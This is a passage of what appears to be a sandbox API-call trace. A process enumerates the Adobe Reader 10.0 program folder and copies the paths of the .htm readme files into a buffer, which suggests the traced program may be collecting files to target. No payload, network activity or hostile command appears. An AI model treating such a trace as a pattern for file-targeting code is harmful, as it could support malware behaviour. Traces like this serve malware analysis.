(x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0031.531] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.531] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0031.531] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0031.531] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.531] lstrlenW (lpString="Esl") returned 3 [0031.531] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0031.531] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.531] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="IrakHau.htm") returned 11 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0031.532] lstrcpyW (in: lpString1=0x12eec8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="Leame.htm") returned 9 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0031.532] lstrcpyW (in: lpString1=0x12ef40, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="LeesMij.htm") returned 11 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0031.532] lstrcpyW (in: lpString1=0x12efb0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="Leggimi.htm") returned 11 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0031.532] lstrcpyW (in: lpString1=0x12f028, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="LeiaMe.htm") returned 10 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0031.532] lstrcpyW (in: lpString1=0x12f0a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="Liesmich.htm") returned 12 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0031.532] lstrcpyW (in: lpString1=0x12f110, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0031.532] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.532] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0031.532] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0031.532] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.532] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0031.532] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0031.533] lstrcpyW (in: lpString1=0x12f188, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0031.533] lstrcpyW (in: lpString1=0x12f200, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="LueMinut.htm") returned 12 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0031.533] lstrcpyW (in: lpString1=0x12f278, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="Reader") returned 6 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="ReadMe.htm") returned 10 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0031.533] lstrcpyW (in: lpString1=0x12f2f0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0031.533] lstrcpyW (in: lpString1=0x12f360, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.533] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0031.533] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0031.533] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0031.533] lstrcpyW (in: lpString1=0x12f3d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0031.533] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0031.533] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned 54 [0031.534] lstrcpyW (in: lpString1=0x12f450, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMeHRV.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeHRV.htm") returned 13 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned 54 [0031.534] lstrcpyW (in: lpString1=0x12f4c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0031.534] lstrcpyW (in: lpString1=0x12f540, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0031.534] lstrcpyW (in: lpString1=0x12f5b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeK.htm") returned 11 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0031.534] lstrcpyW (in: lpString1=0x12f630, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0031.534] lstrcpyW (in: lpString1=0x12f6a8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0031.534] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.534] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0031.534] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0031.534] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.534] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0031.534] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0031.535] lstrcpyW (in: lpString1=0x12f720, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0031.535] lstrcpyW (in: lpString1=0x25e0060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0031.535] lstrcpyW (in: lpString1=0x25e00d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0031.535] lstrcpyW (in: lpString1=0x25e0150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="Resource") returned 8 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0031.535] FindNextFileW (in: hFindFile=0x775ab0, lpFindFileData=0x3bed78 | out: lpFindFileData=0x3bed78) returned 1 [0031.535] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0031.535] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 1 [0031.535] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0031.535] lstrlenW (lpString="Setup Files") returned 11 [0031.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") 